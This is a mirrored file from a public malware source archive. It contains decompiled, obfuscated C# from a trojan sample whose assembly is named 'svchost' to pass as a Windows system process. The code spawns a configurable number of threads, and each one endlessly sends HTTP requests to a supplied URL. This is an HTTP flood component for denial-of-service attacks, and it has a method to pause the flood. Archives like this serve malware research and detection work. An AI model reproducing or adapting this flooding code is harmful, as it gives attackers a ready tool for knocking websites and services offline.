mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-19 09:56:10 +00:00
72 lines
2.2 KiB
C#
72 lines
2.2 KiB
C#
|
// Decompiled with JetBrains decompiler
|
|||
|
// Type: ?1?.?18?
|
|||
|
// Assembly: svchost, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
|||
|
// MVID: 0572F6A4-2AE0-441B-8B88-3FB3343AE211
|
|||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Reconyc.efsu-49381cd9042bc3cc4ed4ef172003f6330ee39256d57a554e08499cf3b3054e87.exe
|
|||
|
|
|||
|
using \u003F1\u003F;
|
|||
|
using System.Net;
|
|||
|
using System.Threading;
|
|||
|
|
|||
|
namespace \u003F1\u003F
|
|||
|
{
|
|||
|
internal class \u003F18\u003F
|
|||
|
{
|
|||
|
private static ThreadStart[] \u003F130\u003F;
|
|||
|
private static Thread[] \u003F131\u003F;
|
|||
|
public static string \u003F129\u003F;
|
|||
|
private static \u003F18\u003F.\u003F19\u003F[] \u003F192\u003F;
|
|||
|
public static int \u003F134\u003F;
|
|||
|
|
|||
|
public static void \u003F77\u003F()
|
|||
|
{
|
|||
|
\u003F18\u003F.\u003F131\u003F = new Thread[\u003F18\u003F.\u003F134\u003F];
|
|||
|
\u003F18\u003F.\u003F130\u003F = new ThreadStart[\u003F18\u003F.\u003F134\u003F];
|
|||
|
\u003F18\u003F.\u003F192\u003F = new \u003F18\u003F.\u003F19\u003F[\u003F18\u003F.\u003F134\u003F];
|
|||
|
for (int index = 0; index < \u003F18\u003F.\u003F134\u003F; ++index)
|
|||
|
{
|
|||
|
\u003F18\u003F.\u003F192\u003F[index] = new \u003F18\u003F.\u003F19\u003F(\u003F18\u003F.\u003F129\u003F);
|
|||
|
\u003F18\u003F.\u003F130\u003F[index] = new ThreadStart(\u003F18\u003F.\u003F192\u003F[index].\u003F23\u003F);
|
|||
|
\u003F18\u003F.\u003F131\u003F[index] = new Thread(\u003F18\u003F.\u003F130\u003F[index]);
|
|||
|
\u003F18\u003F.\u003F131\u003F[index].Start();
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
public static void \u003F78\u003F()
|
|||
|
{
|
|||
|
for (int index = 0; index < \u003F18\u003F.\u003F134\u003F; ++index)
|
|||
|
{
|
|||
|
try
|
|||
|
{
|
|||
|
\u003F18\u003F.\u003F131\u003F[index].Suspend();
|
|||
|
}
|
|||
|
catch
|
|||
|
{
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
private class \u003F19\u003F
|
|||
|
{
|
|||
|
private string \u003F129\u003F;
|
|||
|
private WebClient \u003F193\u003F = new WebClient();
|
|||
|
|
|||
|
public \u003F19\u003F(string _param1) => this.\u003F129\u003F = _param1;
|
|||
|
|
|||
|
public void \u003F23\u003F()
|
|||
|
{
|
|||
|
while (true)
|
|||
|
{
|
|||
|
try
|
|||
|
{
|
|||
|
this.\u003F193\u003F.DownloadString(this.\u003F129\u003F);
|
|||
|
}
|
|||
|
catch
|
|||
|
{
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|